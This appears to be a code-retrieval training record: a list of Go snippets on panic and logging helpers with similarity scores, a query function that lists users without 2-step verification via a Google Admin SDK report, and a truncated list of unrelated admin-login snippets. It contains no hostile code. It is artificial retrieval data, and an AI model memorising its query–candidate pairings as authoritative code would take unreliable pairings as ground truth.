{\n\tlogg.Panicf(format, args...)\n}", "func Panicf(format string, v ...interface{}) {\n\ts := fmt.Sprintf(format, v...)\n\t_ = std.Output(FATAL, 4, s)\n\tpanic(s)\n}", "func panicRecover(handler func(w http.ResponseWriter, r *http.Request)) func(w http.ResponseWriter, r *http.Request) {\n\treturn func(w http.ResponseWriter, r *http.Request) {\n\t\tdefer gulu.Panic.Recover(nil)\n\n\t\thandler(w, r)\n\t}\n}", "func Panicf(msg string, v ...interface{}) {\n\tlogr.Panicf(msg, v...)\n}", "func (l *Logger) Panicf(format string, a ...interface{}) {\r\n\tl.Panic(fmt.Sprintf(format, a...))\r\n}", "func PanicRecovery(err *error, logErrors bool, txnID string) func() {\n\treturn func() {\n\n\t\t// If err is nil, we don't want to cause a panic. However, we can't actually set it\n\t\t// and have it persist beyond this function. Therefore, we force logging on so it\n\t\t// isn't just ignored completely if we receive a nil pointer.\n\t\tif err == nil {\n\t\t\tlogErrors = true\n\t\t\terr = new(error)\n\t\t}\n\n\t\tif r := recover(); r != nil && err != nil {\n\t\t\ts, i, _ := identifyPanic()\n\n\t\t\tswitch r := r.(type) {\n\t\t\tcase error:\n\t\t\t\tif logErrors {\n\t\t\t\t\tlog.WithFields(log.Fields{\"panic\": \"error\", \"file\": s, \"line_num\": i, \"txnID\": txnID}).Error(r)\n\t\t\t\t}\n\n\t\t\t\t// Create a new error and assign it to our pointer.\n\t\t\t\t*err = r.(error)\n\t\t\tcase string:\n\t\t\t\tif logErrors {\n\t\t\t\t\tlog.WithFields(log.Fields{\"panic\": \"string\", \"file\": s, \"line_num\": i, \"txnID\": txnID}).Error(r)\n\t\t\t\t}\n\n\t\t\t\t// Create a new error and assign it to our pointer.\n\t\t\t\t*err = errors.New(r)\n\t\t\tdefault:\n\t\t\t\tmsg := fmt.Sprintf(\"%+v\", r)\n\n\t\t\t\tif logErrors {\n\t\t\t\t\tlog.WithFields(log.Fields{\"panic\": \"default\", \"file\": s, \"line_num\": i, \"txnID\": txnID}).Error(msg)\n\t\t\t\t}\n\n\t\t\t\t// Create a new error and assign it to our pointer.\n\t\t\t\t*err = errors.New(\"Panic: \" + msg)\n\t\t\t}\n\t\t}\n\t}\n}", "func test(f func(), s string) {\n\tdefer func() {\n\t\tif err := recover(); err == nil {\n\t\t\t_, file, line, _ := runtime.Caller(2)\n\t\t\tbug()\n\t\t\tprint(file, \":\", line, \": \", s, \" did not panic\\n\")\n\t\t}\n\t}()\n\tf()\n}", "func Panic(f interface{}, v ...interface{}) {\n\tvar format string\n\tswitch f.(type) {\n\tcase string:\n\t\tformat = f.(string)\n\t\tlog.Panicf(format, v...)\n\tdefault:\n\t\tformat = fmt.Sprint(f)\n\t\tif len(v) == 0 {\n\t\t\tlog.Panic(format)\n\t\t\treturn\n\t\t}\n\t\tformat += strings.Repeat(\" %v\", len(v))\n\t\tlog.Panicf(format, v...)\n\t}\n}", "func Panic(a ...interface{}) {\n\tcolor.Set(color.FgRed)\n\tdefer color.Unset()\n\tpanicLogger.Println(a...)\n\tdebug.PrintStack()\n\tos.Exit(1)\n}", "func panicHandler(w http.ResponseWriter, r *http.Request) {\n\tfuncThatPanic()\n}", "func (l *Logger) Panicf(format string, log ...interface{}) {\n\tl.instance.Panicf(format, log...)\n}", "func (n *Node) Panicf(template string, args ...interface{}) {\n\tn.log.Panicf(template, args...)\n}", "func Panicf(format string, args ...interface{}) {\n\tlogger.Panicf(format, args...)\n}", "func Panic(msg ...interface{}) {\n\tif pc, file, line, ok := runtime.Caller(1); ok {\n\t\tfileName, funcName := getBaseName(file, runtime.FuncForPC(pc).Name())\n\t\tlogrus.WithField(fileTag, fileName).WithField(lineTag, line).WithField(funcTag, funcName).Panic(msg...)\n\t} else {\n\t\tlogrus.Panic(msg...)\n\t}\n}", "func fullName(nume *string, prenume *string) {\n\t//defer fmt.Println(\"apelare defer in fullName\")\n\tdefer recoverFullName()\n\tif nume == nil {\n\t\tpanic(\"runtime error: numele nu poate fi nil\")\n\t}\n\tif prenume == nil {\n\t\tpanic(\"runtime error: prenumele nu poate fi nil\")\n\t}\n\tfmt.Printf(\"%s %s\\n\", *nume, *prenume)\n\tfmt.Println(\"Executia pentru exemplul 1 s-a terminat cu succes\")\n}", "func PanicF(format string, v ...interface{}) {\n\te := makeErrors()\n\thasErr := e.hasErrPrintf(format, v...)\n\tif !hasErr {\n\t\treturn\n\t}\n\tpanic(fmt.Errorf(format, v...))\n}", "func Panic(msg string, args ...interface{}) {\n\tlog.Println(string(debug.Stack()))\n\tlog.Panicf(msg, args...)\n}", "func panicIf(condition bool, fmt string, args ...interface{}) {\n\tif condition {\n\t\tpanic(errorf(fmt, args...))\n\t}\n}", "func CheckPanic(tb testing.TB, funcName string, f func()) {\n\ttb.Helper()\n\n\tdefer func() {\n\t\tif r := recover(); r == nil {\n\t\t\ttb.Errorf(\"%s : want function to panic, not panicing\", funcName)\n\t\t}\n\t}()\n\n\tf()\n}", "func (l *logger) Panicf(format string, args ...interface{}) {\n\tl.entry.Panicf(format, args...)\n}", "func x() {\n\n\tdefer recoverfunc()\n\tnx := []int{8, 7, 3}\n\tfmt.Println(nx[3])\n\tfmt.Println(\"successfully returned to main\")\n}", "func Panicf(format string, v ...interface{}) {\n\tlog.Panicf(format, v...)\n}", "func (l *Log) Panicf(format string, args ...interface{}) {\n\tl.logger.Panicf(format, args...)\n}", "func (l *Logger) Panicf(format string, v ...interface{}) {\n\tl.log.Panicf(format, v...)\n}", "func ExamplePanic_second(){\n\tF := func() {\n\t\tdefer func() { fmt.Println(\"2\")}()\n\t\tdefer func() {\n\t\t\tif m:=recover(); m!=nil {\n\t\t\t\tfmt.Println(m)\n\t\t\t}\n\t\t}()\n\t\tif n:= recover(); n!=nil { // 对于正常的执行流程,recover()没有意义,只是nil\n\t\t\tfmt.Println(\"n not nil\") // 所以E说:recover is only useful inside deferred function\n\t\t}else{\n\t\t\tfmt.Println(\"n is nil\")\n\t\t}\n\t\tpanic(\"panic\")\n\t}\n\tCaller := func() {\n\t\tdefer func() { fmt.Println(\"1\") }()\n\t\tF()\n\t}\n\tCaller()\n\t// Output:\n\t// n is nil\n\t// panic\n\t// 2\n\t// 1\n}", "func (l *stubLogger) Panicf(format string, args ...interface{}) {\n\tpanic(fmt.Sprintf(format, args...))\n}", "func (l *Logr) Panicf(msg string, v ...interface{}) {\n\tcode := logf(P, true, msg, v, l.meta)\n\tpanic(code)\n}", "func Panicf(format string, args ...interface{}) {\n\tpanicdeps(sentry.CaptureMessage, 3, format, args...)\n}", "func TestPanicDefer(t *testing.T) {\n\n\tfirstName := \"Liu\"\n\tdoIt(&firstName, nil, deferedFunc, false)\n}", "func Panicf(group string, format string, any ...interface{}) {\n\tfmt.Printf(redInverse(group) + \" \")\n\tfmt.Printf(redInverse(format), any...)\n}", "func Panicf(format string, args ...interface{}) {\n\tLog.Panicf(format, args)\n}", "func Panic(v ...interface{}) {\n\tcheckInit()\n\ts := fmt.Sprint(v...)\n\tstd.Report(s)\n\tlog.Panic(s)\n}", "func (s *Scout) Panicf(format string, v ...interface{}) {\n\tstr := fmt.Sprintf(format, v...)\n\ts.Report(str)\n\ts.Logger.Panic(str)\n}", "func Panicf(msg string, args ...interface{}) {\n\tif pc, file, line, ok := runtime.Caller(1); ok {\n\t\tfileName, funcName := getBaseName(file, runtime.FuncForPC(pc).Name())\n\t\tlogrus.WithField(fileTag, fileName).WithField(lineTag, line).WithField(funcTag, funcName).Panicf(msg, args...)\n\t} else {\n\t\tlogrus.Panicf(msg, args...)\n\t}\n}", "func Panic(args ...interface{}) {\r\n\tLogger.Panic(\"\", args)\r\n}", "func (logger MockLogger) Panicf(template string, args ...interface{}) {\n\tlogger.Sugar.Panicf(template, args)\n}", "func main() {\n\terrs(\"aaabbbbhaijjjm\")\n}", "func Panic(v ...interface{}) {\n s := sout(v...)\n Std.Output(LevelPanic, CallDepth, s)\n panic(s)\n}", "func Panicf(format string, v ...interface{}) {\n\tlogger.Panicf(format, v...)\n}", "func (logger *Logger) Fpanicf(w io.Writer, format string, a ...any) {\n\tlogger.echo(w, level.Panic, format, a...)\n\tpanic(fmt.Sprintf(format, a...))\n}", "func (logger *Logger) Panic(args ...interface{}) {\n\tlogger.std.Log(append([]interface{}{\"Panic\"}, args)...)\n\tpanic(args[0])\n}", "func (l *Logger) Panic(msg string, args ...interface{}) {\n\tl.z.Panicw(msg, args...)\n}", "func (l *Logger) Panicf(format string, v ...interface{}) {\n\ts := fmt.Sprintf(format, v...)\n\t_ = l.Output(FATAL, 4, s)\n\tpanic(s)\n}", "func Panicf(format string, i ...interface{}) {\n\terr := fmt.Errorf(format, i...)\n\tpanic(errors.Wrap(err.Error()+\"\\n\"+string(errors.Wrap(err, 1).Stack()), 1))\n}", "func Panicf(format string, args ...interface{}) {\n\n\t// Attach trace stack to the message\n\targs = append(args, fmt.Sprintf(\" \\n%s\", string(debug.Stack())))\n\n\tlogger.Panicf(format, args...)\n}", "func Panic(args ...interface{}) {\n\tlogg.Panic(args...)\n}", "func recoverPanic(w http.ResponseWriter, panicSrc string) {\n\tif r := recover(); r != nil {\n\t\tgenericMsg := fmt.Sprintf(panicMessageTmpl, panicSrc)\n\t\tfmt.Fprintf(os.Stderr, fmt.Sprintf(\"%s\\npanic message: %v\\nstack trace: %s\", genericMsg, r, debug.Stack()))\n\t\tif w != nil {\n\t\t\twriteHTTPErrorResponse(w, http.StatusInternalServerError, crashStatus, genericMsg)\n\t\t}\n\t}\n}", "func panicHandler(r interface{}) error {\n\tfmt.Println(\"600 Error\")\n\treturn ErrPanic(r)\n}" ]
[ "0.70140356", "0.6781659", "0.6739621", "0.6613491", "0.6540914", "0.65387857", "0.62417805", "0.6232773", "0.61581886", "0.61510843", "0.6136249", "0.61278147", "0.60755974", "0.6065634", "0.6065634", "0.6056639", "0.60053545", "0.5977083", "0.59546065", "0.59313726", "0.59237903", "0.59229386", "0.5911188", "0.58882654", "0.58639675", "0.5861244", "0.58492714", "0.5835078", "0.58226985", "0.5821944", "0.5819879", "0.5802022", "0.57909346", "0.57877374", "0.577732", "0.5768139", "0.57532746", "0.5751016", "0.57473695", "0.5746937", "0.5740424", "0.57280976", "0.57264495", "0.57258034", "0.57198304", "0.5714579", "0.57116914", "0.5708406", "0.57074326", "0.57030433", "0.570089", "0.5699319", "0.5692286", "0.5688801", "0.5675545", "0.56692576", "0.56625813", "0.565118", "0.5649834", "0.5636291", "0.5634386", "0.5624692", "0.56238604", "0.56101847", "0.56061786", "0.5605586", "0.5602606", "0.5595266", "0.559312", "0.55904233", "0.5589874", "0.5585175", "0.557854", "0.5577427", "0.55736434", "0.5563478", "0.5562088", "0.5560962", "0.5559489", "0.5558055", "0.5557556", "0.5556937", "0.5550064", "0.5548291", "0.5546578", "0.5546491", "0.55444044", "0.55411804", "0.5538966", "0.5535031", "0.55277514", "0.55185217", "0.5505657", "0.5503428", "0.5502291", "0.5501422", "0.5497839", "0.549671", "0.54944044", "0.54920715", "0.548321" ]
0.0
-1
TODO Check Admin Login
func (action ReportAction) GetNon2StepVerifiedUsers() error { report, err := action.report.Get2StepVerifiedStatusReport() if err != nil { return err } if len(report.UsageReports) == 0 { return errors.New("No Report Available") } var paramIndex int fmt.Println("Latest Report: " + report.UsageReports[0].Date) for i, param := range report.UsageReports[0].Parameters { // https://developers.google.com/admin-sdk/reports/v1/guides/manage-usage-users // Parameters: https://developers.google.com/admin-sdk/reports/v1/reference/usage-ref-appendix-a/users-accounts if param.Name == "accounts:is_2sv_enrolled" { paramIndex = i break } } for _, r := range report.UsageReports { if !r.Parameters[paramIndex].BoolValue { fmt.Println(r.Entity.UserEmail) } } return nil }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func isAdmin(res http.ResponseWriter, req *http.Request) bool {\n\tmyUser := getUser(res, req)\n\treturn myUser.Username == \"admin\"\n}", "func AdminLogin(w http.ResponseWriter, data interface{}) {\n\trender(tpAdminLogin, w, data)\n}", "func AdminLogin(w http.ResponseWriter, data *AdminLoginData) {\n\trender(tpAdminLogin, w, data)\n\tdata.Flash.Del(\"errors\")\n}", "func AdminLogin(w http.ResponseWriter, r *http.Request) {\n\n\tbody, err := ioutil.ReadAll(r.Body) // it reads the data for the api asign to the body\n\tif err != nil {\n\t\tresponses.ERROR(w, http.StatusUnprocessableEntity, err)\n\t\treturn\n\t}\n\tuser := models.User{}\n\terr = json.Unmarshal(body, &user) // here the data in body is store at the user's memory address\n\tif err != nil {\n\t\tresponses.ERROR(w, http.StatusUnprocessableEntity, err)\n\t\treturn\n\t}\n\n\tuser.Prepare()\n\terr = user.Validate(\"login\")\n\tif err != nil {\n\t\tresponses.ERROR(w, http.StatusUnprocessableEntity, err)\n\t\treturn\n\t}\n\n\ttoken, err := auth.AdminSignIn(user.Email, user.Password)\n\tif err != nil {\n\t\tresponses.ERROR(w, http.StatusUnprocessableEntity, err)\n\t\treturn\n\t}\n\tresponses.JSON(w, http.StatusOK, token)\n}", "func (a SuperAdmin) Login(user, passwd string) (error, bool) {\n if user == a.Name && passwd == a.Pass {\n return nil, true\n } else {\n return errors.New(\"Wrong login or password\"), false\n }\n}", "func (a Admin) Login(user,passwd string) (error, bool) {\n if user == a.Name && passwd == a.Pass {\n return nil, true\n } else {\n return errors.New(\"Wrong login or password\"), false\n }\n}", "func (c Admin) checkAdminIP() revel.Result {\n remoteAddr := GetRemoteAddr(c.Controller)\n if !app.MyGlobal.IsAdminIP(remoteAddr) {\n c.Flash.Error(c.Message(\"error.require.signin\"))\n revel.WARN.Printf(\"%s is not in the admin ip list\", remoteAddr)\n return c.Redirect(routes.User.Signin())\n }\n return c.Result\n}", "func reqIsAdmin(r *http.Request) bool {\n\tu, err := GetCurrent(r)\n\tif err != nil {\n\t\treturn false\n\t}\n\treturn u.Admin\n}", "func authentication_admin(user, pass string) bool {\n\tvar username, password string\n\tvar tipo int\n\tdb_mu.Lock()\n\tquery2, err := db.Query(\"SELECT username, password, type FROM admin WHERE username = ?\", user)\n\tdb_mu.Unlock()\n\tif err != nil {\n\t\tError.Println(err)\n\t\treturn false\n\t}\n\tfor query2.Next() {\n\t\terr = query2.Scan(&username, &password, &tipo)\n\t\tif err != nil {\n\t\t\tError.Println(err)\n\t\t\treturn false\n\t\t}\n\t}\n\tquery2.Close()\n\n\tif user == username && pass == password && tipo == 1 {\n\t\treturn true\n\t} else {\n\t\treturn false\n\t}\n}", "func LoginUser(u User) {\n err, _ := u.Login(\"admin\", \"admin\")\n\n if err != nil {\n fmt.Println(err.Error())\n }\n}", "func checkAdmin() bool {\n\treturn os.Getenv(\"USER\") == \"root\"\n}", "func adminHandler(w http.ResponseWriter, r *http.Request, _ map[string]string) {\n\tif database.RetrieveUsersCount() == 0 {\n\t\thttp.Redirect(w, r, \"/admin/register\", http.StatusFound)\n\t\treturn\n\t}\n\tuserName := sessionHandler.GetUserName(r)\n\tif userName != \"\" {\n\t\thttp.ServeFile(w, r, filepath.Join(filenames.AdminFilepath, \"admin.html\"))\n\t\treturn\n\t}\n\thttp.Redirect(w, r, \"/admin/login\", http.StatusFound)\n}", "func CheckLoginStatus(w http.ResponseWriter, r *http.Request) (bool,interface{}){\n\tsess := globalSessions.SessionStart(w,r)\n\tsess_uid := sess.Get(\"UserID\")\n\tif sess_uid == nil {\n\t\treturn false,\"\"\n\t} else {\n\t\tuID := sess_uid\n\t\tname := sess.Get(\"username\")\n\t\tfmt.Println(\"Logged in User, \", uID)\n\t\t//Tpl.ExecuteTemplate(w, \"user\", nil)\n\t\treturn true,name\n\t}\n}", "func (as *AdminServer) Login(w http.ResponseWriter, r *http.Request) {\n\tparams := struct {\n\t\tUser models.User\n\t\tTitle string\n\t\tFlashes []interface{}\n\t\tToken string\n\t}{Title: \"Login\", Token: csrf.Token(r)}\n\tsession := ctx.Get(r, \"session\").(*sessions.Session)\n\tswitch {\n\tcase r.Method == \"GET\":\n\t\tparams.Flashes = session.Flashes()\n\t\tsession.Save(r, w)\n\t\ttemplates := template.New(\"template\")\n\t\t_, err := templates.ParseFiles(\"templates/login.html\", \"templates/flashes.html\")\n\t\tif err != nil {\n\t\t\tlog.Error(err)\n\t\t}\n\t\ttemplate.Must(templates, err).ExecuteTemplate(w, \"base\", params)\n\tcase r.Method == \"POST\":\n\t\t// Find the user with the provided username\n\t\tusername, password := r.FormValue(\"username\"), r.FormValue(\"password\")\n\t\tu, err := models.GetUserByUsername(username)\n\t\tif err != nil {\n\t\t\tlog.Error(err)\n\t\t\tas.handleInvalidLogin(w, r, \"Invalid Username/Password\")\n\t\t\treturn\n\t\t}\n\t\t// Validate the user's password\n\t\terr = auth.ValidatePassword(password, u.Hash)\n\t\tif err != nil {\n\t\t\tlog.Error(err)\n\t\t\tas.handleInvalidLogin(w, r, \"Invalid Username/Password\")\n\t\t\treturn\n\t\t}\n\t\tif u.AccountLocked {\n\t\t\tas.handleInvalidLogin(w, r, \"Account Locked\")\n\t\t\treturn\n\t\t}\n\t\tu.LastLogin = time.Now().UTC()\n\t\terr = models.PutUser(&u)\n\t\tif err != nil {\n\t\t\tlog.Error(err)\n\t\t}\n\t\t// If we've logged in, save the session and redirect to the dashboard\n\t\tsession.Values[\"id\"] = u.Id\n\t\tsession.Save(r, w)\n\t\tas.nextOrIndex(w, r)\n\t}\n}", "func MakeAdminHandler(w http.ResponseWriter, req *http.Request) {\n\n\t// Get session values or redirect to Login\n\tsession, err := sessions.Store.Get(req, \"session\")\n\n\tif err != nil {\n\t\tlog.Println(\"error identifying session\")\n\t\thttp.Redirect(w, req, \"/login/\", 302)\n\t\treturn\n\t\t// in case of error\n\t}\n\n\t// Prep for user authentication\n\tsessionMap := getUserSessionValues(session)\n\n\tisAdmin := sessionMap[\"isAdmin\"]\n\n\tvars := mux.Vars(req)\n\tidString := vars[\"id\"]\n\n\tpk, err := strconv.Atoi(idString)\n\tif err != nil {\n\t\tpk = 0\n\t\tlog.Println(err)\n\t}\n\n\tfmt.Println(session)\n\n\tif isAdmin != \"true\" {\n\t\thttp.Redirect(w, req, \"/\", 302)\n\t\treturn\n\t}\n\n\tuser, err := database.PKLoadUser(db, int64(pk))\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t\tfmt.Println(\"Unable to load User\")\n\t\thttp.Redirect(w, req, \"/\", http.StatusSeeOther)\n\t}\n\n\tuser.IsAdmin = true\n\tuser.Role = \"admin\"\n\n\terr = database.UpdateUser(db, user)\n\tif err != nil {\n\t\tlog.Println(err)\n\t}\n\n\turl := \"/user_index/\"\n\n\thttp.Redirect(w, req, url, http.StatusFound)\n}", "func (p *hcAutonomywww) isLoggedInAsAdmin(f http.HandlerFunc) http.HandlerFunc {\n\treturn func(w http.ResponseWriter, r *http.Request) {\n\t\tlog.Debugf(\"isLoggedInAsAdmin: %v %v %v %v\", remoteAddr(r),\n\t\t\tr.Method, r.URL, r.Proto)\n\n\t\t// Check if user is admin\n\t\tisAdmin, err := p.isAdmin(w, r)\n\t\tif err != nil {\n\t\t\tlog.Errorf(\"isLoggedInAsAdmin: isAdmin %v\", err)\n\t\t\tutil.RespondWithJSON(w, http.StatusUnauthorized, v1.ErrorReply{\n\t\t\t\tErrorCode: int64(v1.ErrorStatusNotLoggedIn),\n\t\t\t})\n\t\t\treturn\n\t\t}\n\t\tif !isAdmin {\n\t\t\tutil.RespondWithJSON(w, http.StatusForbidden, v1.ErrorReply{})\n\t\t\treturn\n\t\t}\n\n\t\tf(w, r)\n\t}\n}", "func isAdmin(user string) bool {\n\treturn user == ROOT1 || user == ROOT2\n}", "func Login(w http.ResponseWriter, r *http.Request) {\n\tstore, err := pgstore.NewPGStore(os.Getenv(\"PGURL\"), key)\n\tcheck(err)\n\tdefer store.Close()\n\tsession, err := store.Get(r, \"scheduler-session\")\n\tcheck(err)\n\n\tvar domain string\n\tif os.Getenv(\"GO_ENV\") == \"dev\" {\n\t\tdomain = \"http://localhost:3000\"\n\t} else if os.Getenv(\"GO_ENV\") == \"test\" {\n\t\tdomain = \"http://s3-sih-test.s3-website-us-west-1.amazonaws.com\"\n\t} else if os.Getenv(\"GO_ENV\") == \"prod\" {\n\t\tdomain = \"https://schedulingishard.com\"\n\t}\n\t// Limit the sessions to 1 24-hour day\n\tsession.Options.MaxAge = 86400 * 1\n\tsession.Options.Domain = domain // Set to localhost for testing only. prod must be set to \"schedulingishard.com\"\n\tsession.Options.HttpOnly = true\n\n\tcreds := DecodeCredentials(r)\n\t// Authenticate based on incoming http request\n\tif passwordsMatch(r, creds) != true {\n\t\tlog.Printf(\"Bad password for member: %v\", creds.Email)\n\t\tmsg := errorMessage{\n\t\t\tStatus: \"Failed to authenticate\",\n\t\t\tMessage: \"Incorrect username or password\",\n\t\t}\n\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\t\tw.WriteHeader(http.StatusUnauthorized)\n\t\t//http.Error(w, \"Incorrect username or password\", http.StatusUnauthorized)\n\t\tjson.NewEncoder(w).Encode(msg)\n\t\treturn\n\t}\n\t// Get the memberID based on the supplied email\n\tmemberID := models.GetMemberID(creds.Email)\n\tmemberName := models.GetMemberName(memberID)\n\tm := memberDetails{\n\t\tStatus: \"OK\",\n\t\tID: memberID,\n\t\tName: memberName,\n\t\tEmail: creds.Email,\n\t}\n\n\t// Respond with the proper content type and the memberID\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\tw.Header().Set(\"X-CSRF-Token\", csrf.Token(r))\n\t// Set cookie values and save\n\tsession.Values[\"authenticated\"] = true\n\tsession.Values[\"memberID\"] = m.ID\n\tif err = session.Save(r, w); err != nil {\n\t\tlog.Printf(\"Error saving session: %v\", err)\n\t}\n\tjson.NewEncoder(w).Encode(m)\n\t// w.Write([]byte(memberID)) // Alternative to fprintf\n}", "func IsAdmin(c context.Context) bool {\n\th := internal.IncomingHeaders(c)\n\treturn h.Get(\"X-AppEngine-User-Is-Admin\") == \"1\"\n}", "func (p *Base) Login() string {\n\treturn \"https://admin.thebase.in/users/login\"\n}", "func validateAdmin(name, password string) error {\n\tif passvault.NumRecords() == 0 {\n\t\treturn errors.New(\"Vault is not created yet\")\n\t}\n\n\tpr, ok := passvault.GetRecord(name)\n\tif !ok {\n\t\treturn errors.New(\"User not present\")\n\t}\n\tif err := pr.ValidatePassword(password); err != nil {\n\t\treturn err\n\t}\n\tif !pr.IsAdmin() {\n\t\treturn errors.New(\"Admin required\")\n\t}\n\n\treturn nil\n}", "func isAdmin(ctx iris.Context) (bool, error) {\n\tu, err := bearerToUser(ctx)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\treturn u.Active && u.Role == models.AdminRole, nil\n}", "func getLoginHandler(w http.ResponseWriter, r *http.Request, _ map[string]string) {\n\tif database.RetrieveUsersCount() == 0 {\n\t\thttp.Redirect(w, r, \"/admin/register\", http.StatusFound)\n\t\treturn\n\t}\n\thttp.ServeFile(w, r, filepath.Join(filenames.AdminFilepath, \"login.html\"))\n\treturn\n}", "func GetLogin(w http.ResponseWriter, req *http.Request, app *App) {\n\tif models.UserCount(app.Db) > 0 {\n\t\trender(w, \"admin/login\", map[string]interface{}{\"hideNav\": true}, app)\n\t} else {\n\t\thttp.Redirect(w, req, app.Config.General.Prefix+\"/register\", http.StatusSeeOther)\n\t}\n\n}", "func AuthAdminAccess(context *gin.Context, db int, tokenSecret string, needs []string, release bool) {\n\tif !release {\n\t\tcontext.Next()\n\t\treturn\n\t}\n\n\troles, err := GetRequestTokenRole(context, db, tokenSecret)\n\tif err != nil {\n\t\tcommon.ResponseError(context, code.SpawnErrNeedPerm())\n\t\tlog.Debug(\"authorization role access error:%+v\", err)\n\t\treturn\n\t}\n\n\tfor _, need := range needs {\n\t\tfor _, role := range roles {\n\t\t\tif strings.ToLower(need) == strings.ToLower(role) {\n\t\t\t\tgoto next\n\t\t\t}\n\t\t}\n\t}\n\n\tcommon.ResponseError(context, code.SpawnErrNeedPerm())\n\tlog.Debug(\"authorization profile access %s need access\",\n\t\tcontext.Request.RequestURI)\n\treturn\nnext:\n\tcontext.Next()\n}", "func (c App) CheckLogin() revel.Result {\n if _, ok := c.Session[\"userName\"]; ok {\n c.Flash.Success(\"You are already logged in \" + c.Session[\"userName\"] + \"!\")\n return c.Redirect(routes.Todo.Index())\n }\n\n return nil\n}", "func adminAutologin(c *router.Context, next router.Handler) {\n\tu := auth.CurrentUser(c.Context)\n\n\t// Redirect anonymous users to a login page that redirects back to the current\n\t// page. Don't do it if this anonymous user is also marked as Superuser, which\n\t// happens when using AssumeTrustedPort auth method.\n\tif u.Identity == identity.AnonymousIdentity && !u.Superuser {\n\t\t// Make the current URL relative to the host.\n\t\tdestURL := *c.Request.URL\n\t\tdestURL.Host = \"\"\n\t\tdestURL.Scheme = \"\"\n\t\turl, err := auth.LoginURL(c.Context, destURL.String())\n\t\tif err != nil {\n\t\t\tlogging.WithError(err).Errorf(c.Context, \"Error when generating login URL\")\n\t\t\tif transient.Tag.In(err) {\n\t\t\t\thttp.Error(c.Writer, \"Transient error when generating login URL, see logs\", 500)\n\t\t\t} else {\n\t\t\t\thttp.Error(c.Writer, \"Can't generate login URL, see logs\", 401)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\thttp.Redirect(c.Writer, c.Request, url, 302)\n\t\treturn\n\t}\n\n\t// Only superusers can proceed.\n\tif !u.Superuser {\n\t\tc.Writer.WriteHeader(http.StatusForbidden)\n\t\ttemplates.MustRender(c.Context, c.Writer, \"pages/access_denied.html\", nil)\n\t\treturn\n\t}\n\n\tnext(c)\n}", "func Login(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {\n\tfmt.Println(\"Login\")\n}", "func Admin() gin.HandlerFunc {\r\n\tif gin.Mode() == \"debug\" {\r\n\t\treturn func(c *gin.Context) { c.Next() }\r\n\t}\r\n\treturn func(c *gin.Context) {\r\n\t\tAccessKey := c.GetHeader(\"AccessKey\")\r\n\t\tif c.GetHeader(\"AccessKey\") == \"\" {\r\n\t\t\tAccessKey = c.GetHeader(\"Token\")\r\n\t\t}\r\n\r\n\t\tswitch AccessKey {\r\n\t\tcase \"\":\r\n\t\t\tc.JSON(http.StatusUnauthorized, gin.H{\"message\": \"Please authorize before requesting\"})\r\n\t\t\tc.Abort()\r\n\r\n\t\tdefault:\r\n\t\t\tUserID, IsLeader, err := utils.LoadAccessKey(AccessKey)\r\n\t\t\tif err != nil {\r\n\t\t\t\tc.JSON(http.StatusUnauthorized, gin.H{\"message\": \"Please authorize before requesting\"})\r\n\t\t\t\tc.Abort()\r\n\t\t\t}\r\n\t\t\tif IsLeader == false {\r\n\t\t\t\tc.JSON(http.StatusForbidden, gin.H{\"message\": \"Please use an admin AccessKey to request\"})\r\n\t\t\t\tc.Abort()\r\n\t\t\t}\r\n\r\n\t\t\tc.Set(\"UserID\", UserID)\r\n\t\t\tc.Set(\"IsLeader\", IsLeader)\r\n\r\n\t\t\tc.Next()\r\n\t\t}\r\n\t}\r\n}", "func requireLogin(rw http.ResponseWriter, req *http.Request, app *App) bool {\n\tses, _ := app.SessionStore.Get(req, SessionName)\n\tvar err error\n\tvar id int64\n\tif val := ses.Values[\"userId\"]; val != nil {\n\t\tid = val.(int64)\n\t}\n\n\tif err == nil {\n\t\t_, err = models.UserById(app.Db, id)\n\t}\n\n\tif err != nil {\n\t\thttp.Redirect(rw, req, app.Config.General.Prefix+\"/login\", http.StatusSeeOther)\n\t\treturn true\n\t}\n\treturn false\n}", "func getLogin() {\n\tparams, err := readJSON(parametersFile)\n\tif err != nil {\n\t\tlog.Fatalf(\"Unable to read parameters. Get login information with `az network public-ip list -g %s\", resourceGroupName)\n\t}\n\n\taddressClient := network.NewPublicIPAddressesClient(config.SubscriptionID)\n\taddressClient.Authorizer = autorest.NewBearerAuthorizer(token)\n\tipName := (*params)[\"publicIPAddresses_QuickstartVM_ip_name\"].(map[string]interface{})\n\tipAddress, err := addressClient.Get(ctx, resourceGroupName, ipName[\"value\"].(string), \"\")\n\tif err != nil {\n\t\tlog.Fatalf(\"Unable to get IP information. Try using `az network public-ip list -g %s\", resourceGroupName)\n\t}\n\n\tvmUser := (*params)[\"vm_user\"].(map[string]interface{})\n\tvmPass := (*params)[\"vm_password\"].(map[string]interface{})\n\n\tlog.Printf(\"Log in with ssh: %s@%s, password: %s\",\n\t\tvmUser[\"value\"].(string),\n\t\t*ipAddress.PublicIPAddressPropertiesFormat.IPAddress,\n\t\tvmPass[\"value\"].(string))\n}", "func (p *politeiawww) logAdminAction(adminUser *user.User, content string) error {\n\tp.Lock()\n\tdefer p.Unlock()\n\n\treturn p._logAdminAction(adminUser, content)\n}", "func (netgear *Netgear) IsLoggedIn() bool {\n return netgear.loggedIn\n}", "func Admindex(w http.ResponseWriter, r *http.Request) {\n\tsession, err := store.Get(r, \"session\")\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\treturn\n\t}\n\tif session.Values[\"authenticated\"] == false {\n\t\thttp.Redirect(w, r, \"/\", http.StatusForbidden)\n\t} else {\n\t\tvd := ViewData{}\n\t\tvd.User, _ = model.GetByUsername(fmt.Sprintf(\"%v\", session.Values[\"username\"]))\n\t\tfmt.Println(\"user ist admin, eingeloggt als:\", vd.User)\n\t\tif err := AdminView.Template.ExecuteTemplate(w,\n\t\t\tAdminView.Layout, vd); err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t}\n\tsession.Save(r, w)\n}", "func\tisAdmin(args []string) (string, error) {\n\tvar err\t\t\t\terror\n\tvar\tisAdmin\t\t\tbool\n\n\t/// CHECK ARGUMENTS\n\t/// TODO : when better API, check this better\n\tif len(args) != 0 {\n\t\treturn \"\", fmt.Errorf(\"isAdmin does not require any 